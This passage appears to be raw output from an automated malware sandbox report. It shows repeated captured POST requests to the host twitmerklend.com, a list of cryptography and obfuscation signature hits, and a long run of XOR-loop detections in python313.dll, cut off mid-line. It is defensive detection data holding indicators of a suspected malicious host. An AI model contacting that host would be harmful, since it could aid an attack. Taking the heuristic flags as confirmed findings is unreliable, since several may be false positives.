boundary=----HttpClientl0ty56B4pw3WvS5EUser-Agent: uJ7gFEPqcKUGx6qlbf3dPJaTContent-Length: 742Host: twitmerklend.com" Contains base64 string in header "adbab2766b4f" in header "POST /31aa8434-bc4d-511f-910d-adbab2766b4f HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=----HttpClientl0ty56B4pw3WvS5EUser-Agent: uJ7gFEPqcKUGx6qlbf3dPJaTContent-Length: 742Host: twitmerklend.com" Contains base64 string in header "Keep" in header "POST /31aa8434-bc4d-511f-910d-adbab2766b4f HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=----HttpClientl0ty56B4pw3WvS5EUser-Agent: uJ7gFEPqcKUGx6qlbf3dPJaTContent-Length: 742Host: twitmerklend.com" Contains base64 string in header "cacheContent" in header "POST /31aa8434-bc4d-511f-910d-adbab2766b4f HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=----HttpClientl0ty56B4pw3WvS5EUser-Agent: uJ7gFEPqcKUGx6qlbf3dPJaTContent-Length: 742Host: twitmerklend.com" Contains base64 string in header "Type" in header "POST /31aa8434-bc4d-511f-910d-adbab2766b4f HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=----HttpClientl0ty56B4pw3WvS5EUser-Agent: uJ7gFEPqcKUGx6qlbf3dPJaTContent-Length: 742Host: twitmerklend.com" Contains base64 string in header "data" in header "POST /31aa8434-bc4d-511f-910d-adbab2766b4f HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=----HttpClientl0ty56B4pw3WvS5EUser-Agent: uJ7gFEPqcKUGx6qlbf3dPJaTContent-Length: 742Host: twitmerklend.com" Contains base64 string in header "twitmerklend" in header "POST /31aa8434-bc4d-511f-910d-adbab2766b4f HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=----HttpClientl0ty56B4pw3WvS5EUser-Agent: uJ7gFEPqcKUGx6qlbf3dPJaTContent-Length: 742Host: twitmerklend.com" Contains base64 string in header "POST" in header "POST /31aa8434-bc4d-511f-910d-adbab2766b4f HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=----HttpClient7eJMDmlo1sXKNEDUUser-Agent: uJ7gFEPqcKUGx6qlbf3dPJaTContent-Length: 642Host: twitmerklend.com" Contains base64 string in header "bc4d" in header "POST /31aa8434-bc4d-511f-910d-adbab2766b4f HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=----HttpClient7eJMDmlo1sXKNEDUUser-Agent: uJ7gFEPqcKUGx6qlbf3dPJaTContent-Length: 642Host: twitmerklend.com" Contains base64 string in header "511f" in header "POST /31aa8434-bc4d-511f-910d-adbab2766b4f HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=----HttpClient7eJMDmlo1sXKNEDUUser-Agent: uJ7gFEPqcKUGx6qlbf3dPJaTContent-Length: 642Host: twitmerklend.com" Contains base64 string in header "910d" in header "POST /31aa8434-bc4d-511f-910d-adbab2766b4f HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=----HttpClient7eJMDmlo1sXKNEDUUser-Agent: uJ7gFEPqcKUGx6qlbf3dPJaTContent-Length: 642Host: twitmerklend.com" Contains base64 string in header "adbab2766b4f" in header "POST /31aa8434-bc4d-511f-910d-adbab2766b4f HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=----HttpClient7eJMDmlo1sXKNEDUUser-Agent: uJ7gFEPqcKUGx6qlbf3dPJaTContent-Length: 642Host: twitmerklend.com" Contains base64 string in header "Keep" in header "POST /31aa8434-bc4d-511f-910d-adbab2766b4f HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=----HttpClient7eJMDmlo1sXKNEDUUser-Agent: uJ7gFEPqcKUGx6qlbf3dPJaTContent-Length: 642Host: twitmerklend.com" Contains base64 string in header "cacheContent" in header "POST /31aa8434-bc4d-511f-910d-adbab2766b4f HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=----HttpClient7eJMDmlo1sXKNEDUUser-Agent: uJ7gFEPqcKUGx6qlbf3dPJaTContent-Length: 642Host: twitmerklend.com" Contains base64 string in header "Type" in header "POST /31aa8434-bc4d-511f-910d-adbab2766b4f HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=----HttpClient7eJMDmlo1sXKNEDUUser-Agent: uJ7gFEPqcKUGx6qlbf3dPJaTContent-Length: 642Host: twitmerklend.com" Contains base64 string in header "data" in header "POST /31aa8434-bc4d-511f-910d-adbab2766b4f HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=----HttpClient7eJMDmlo1sXKNEDUUser-Agent: uJ7gFEPqcKUGx6qlbf3dPJaTContent-Length: 642Host: twitmerklend.com" Contains base64 string in header "twitmerklend" in header "POST /31aa8434-bc4d-511f-910d-adbab2766b4f HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=----HttpClient7eJMDmlo1sXKNEDUUser-Agent: uJ7gFEPqcKUGx6qlbf3dPJaTContent-Length: 642Host: twitmerklend.com" Contains base64 string in header "/async/folae" in header "GET /async/folae?async=_fmt:pb HTTP/2Host: www.google.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36Sec-Fetch-Mode: no-corsSec-Fetch-Site: noneAccept-Language: en-US,en;q=0.9Priority: u=4, iAccept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: empty" Contains base64 string in header "like" in header "GET /async/folae?async=_fmt:pb HTTP/2Host: www.google.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36Sec-Fetch-Mode: no-corsSec-Fetch-Site: noneAccept-Language: en-US,en;q=0.9Priority: u=4, iAccept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: empty" Contains base64 string in header "Mode" in header "GET /async/folae?async=_fmt:pb HTTP/2Host: www.google.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36Sec-Fetch-Mode: no-corsSec-Fetch-Site: noneAccept-Language: en-US,en;q=0.9Priority: u=4, iAccept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: empty" Contains base64 string in header "Site" in header "GET /async/folae?async=_fmt:pb HTTP/2Host: www.google.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36Sec-Fetch-Mode: no-corsSec-Fetch-Site: noneAccept-Language: en-US,en;q=0.9Priority: u=4, iAccept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: empty" Contains base64 string in header "Language" in header "GET /async/folae?async=_fmt:pb HTTP/2Host: www.google.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36Sec-Fetch-Mode: no-corsSec-Fetch-Site: noneAccept-Language: en-US,en;q=0.9Priority: u=4, iAccept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: empty" Contains base64 string in header "Encoding" in header "GET /async/folae?async=_fmt:pb HTTP/2Host: www.google.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36Sec-Fetch-Mode: no-corsSec-Fetch-Site: noneAccept-Language: en-US,en;q=0.9Priority: u=4, iAccept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: empty" Contains base64 string in header "gzip" in header "GET /async/folae?async=_fmt:pb HTTP/2Host: www.google.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36Sec-Fetch-Mode: no-corsSec-Fetch-Site: noneAccept-Language: en-US,en;q=0.9Priority: u=4, iAccept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: empty" Contains base64 string in header "Dest" in header "GET /async/folae?async=_fmt:pb HTTP/2Host: www.google.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36Sec-Fetch-Mode: no-corsSec-Fetch-Site: noneAccept-Language: en-US,en;q=0.9Priority: u=4, iAccept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: empty"41:T637,The analysis contains indicators for crypto or data obfuscation(base64/decrypt) which can hide information. Matched sigs: Contains ability to use Cryptographic classes Matched sigs: Contains CRYPTO related strings Matched sigs: Contains ability to perform Base64 encoding/decoding Matched sigs: Able to use Microsoft's Enhanced Cryptographic Provider Matched sigs: PCAP contains base64 strings Matched sigs: Contains ability to perform AES/RC4 encryption (API string) Matched sigs: Contains key cryptographic functions (API string) Matched sigs: Contains reference to crypto DLLs Matched sigs: Contains reference to cryptographic keys Matched sigs: Contains ability to decode base64 data Matched sigs: Calls an API typically used to import asymmetric cryptographic keys into a CSP Matched sigs: Calls an API typically used to encrypt a block of data Matched sigs: Calls an API typically used to decrypt a block of data Matched sigs: Reads the cryptographic machine GUID Matched sigs: Calls an API typically used to import cryptographic keys into a CSP Matched sigs: HTTP requests contain Base64 strings Matched sigs: Dropped file has high entropy (likely encrypted/compressed content) Matched sigs: Drops file with high entropy indicating encryption/obfuscation Matched sigs: Uses Windows cryptography API for obfuscation Matched sigs: Contains XOR operation loops [Stream disassembly] Matched sigs: YARA signature match - AES encryption Matched sigs: YARA signature match - ChaCha20 encryption algorithm Matched sigs: YARA signature match – cryptographic algorithms42:T174da,Found XOR loop in file "python313.dll" at offset 1728252; code bytes = 30d0 Found XOR loop in file "python313.dll" at offset 2038965; code bytes = 30d0 Found XOR loop in file "python313.dll" at offset 2374428; code bytes = 30d0 Found XOR loop in file "python313.dll" at offset 2785236; code bytes = 30d0 Found XOR loop in file "python313.dll" at offset 2976687; code bytes = 30d0 Found XOR loop in file "python313.dll" at offset 3576579; code bytes = 30d0 Found XOR loop in file "python313.dll" at offset 3770569; code bytes = 30d0 Found XOR loop in file "python313.dll" at offset 3865914; code bytes = 30d0 Found XOR loop in file "python313.dll" at offset 3919777; code bytes = 30d0 Found XOR loop in file "python313.dll" at offset 3995623; code bytes = 30d0 Found XOR loop in file "python313.dll" at offset 4034372; code bytes = 30d0 Found XOR loop in file "python313.dll" at offset 4039715; code bytes = 30d0 Found XOR loop in file "python313.dll" at offset 4114117; code bytes = 30d0 Found XOR loop in file "python313.dll" at offset 4367371; code bytes = 30d0 Found XOR loop in file "python313.dll" at offset 4387855; code bytes = 30d0 Found XOR loop in file "python313.dll" at offset 4432767; code bytes = 30d0 Found XOR loop in file "python313.dll" at offset 4443629; code bytes = 30d0 Found XOR loop in file "python313.dll" at offset 4479281; code bytes = 30d0 Found XOR loop in file "python313.dll" at offset 4603174; code bytes = 30d0 Found XOR loop in file "python313.dll" at offset 4613563; code bytes = 30d0 Found XOR loop in file "python313.dll" at offset 4664274; code bytes = 30d0 Found XOR loop in file "python313.dll" at offset 4664344; code bytes = 30d0 Found XOR loop in file "python313.dll" at offset 4677844; code bytes = 30d0 Found XOR loop in file "python313.dll" at offset 4690795; code bytes = 30d0 Found XOR loop in file "python313.dll" at offset 4882504; code bytes = 30d0 Found XOR loop in file "python313.dll" at offset 50426; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 188060; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 189337; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 208096; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 216127; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 289701; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 292909; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 295045; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 691056; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 755061; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 757399; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 760643; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 760843; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 761081; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 761367; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 761505; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 763473; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 768514; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 778880; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 779527; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 781397; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 782355; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 819962; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 863873; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 863882; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 863890; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 863968; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 863977; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 863985; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 901314; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1004926; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1006106; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1009812; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1012730; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1111271; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1111579; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1111670; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1111693; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1111742; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1111893; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1112153; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1112231; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1112316; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1112368; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1112457; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1112515; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1112849; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1112934; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1113035; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1113087; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1113137; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1113490; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1113588; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1113678; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1113729; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1113777; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1114060; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1114134; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1114189; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1114308; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1114364; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1114422; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1114754; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1114839; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1114943; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1114996; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1115049; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1115415; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1115503; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1115580; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1115681; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1116053; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1116138; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1116220; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1116272; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1116335; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1116663; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1116752; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1116854; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1116903; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1116956; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1117238; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1117331; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1117485; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1117591; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1117942; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1118007; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1118088; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1118168; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1118230; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1118647; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1118753; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1118830; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1133293; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1194608; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1194860; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1194942; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1195077; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1195208; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1206725; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1206811; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1206912; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1206960; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1207015; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1207266; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1207350; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1207502; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1207606; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1207906; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1207988; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1208092; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1208140; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1208190; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1208508; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1208587; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1208685; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1208738; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1208790; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1209106; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1209335; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1209391; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1209700; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1209773; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1209842; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1209924; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1209985; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1210291; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1210368; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1210466; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1210520; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1210575; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1210874; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1211108; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1211169; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1211475; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1211553; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1211657; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1211705; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1211755; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1212070; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1212240; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1212306; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1217416; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1221092; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1221342; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1221383; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1222065; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1222290; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1224432; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1224522; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1224573; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1224661; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1224718; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1224776; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1224892; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1225009; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1225159; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1225286; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1225416; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1225543; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1225670; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1225797; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1225911; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1226050; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1226178; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1226236; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1226318; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1226424; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1226485; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1226559; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1226579; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1226638; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1226658; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1226717; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1226737; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1226799; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1226815; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1226878; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1226894; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1226963; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1227045; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1227106; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1227185; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1227264; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1227280; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1227340; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1227411; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1227503; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1227564; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1227657; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1227744; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1227808; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1227942; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1227993; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1228055; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1228189; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1228240; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1228313; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1228364; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1228439; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1228490; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1228556; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1228627; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1228680; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1228734; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1228807; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1228858; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1228931; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1228982; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1229052; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1229123; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1229175; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1229233; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1229305; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1229356; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1229446; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1229497; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1229557; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1229608; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1229689; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1229727; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1229813; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1229895; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1229976; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1230041; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1230123; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1230197; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1230271; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1230351; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1230414; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1230487; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1230576; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1230647; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1230727; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1230815; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1230831; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1230882; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1230903; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1231042; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1231158; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1231306; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1231412; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1231543; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1231666; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1231744; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1231794; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1231865; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1231916; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1232046; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1232176; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1232300; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1232433; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1232549; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1232697; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1232803; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1232881; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1232931; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1232984; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1233060; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1233148; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 1233219; code bytes = 33c1 Found XOR loop in file "python313.dll" at offset 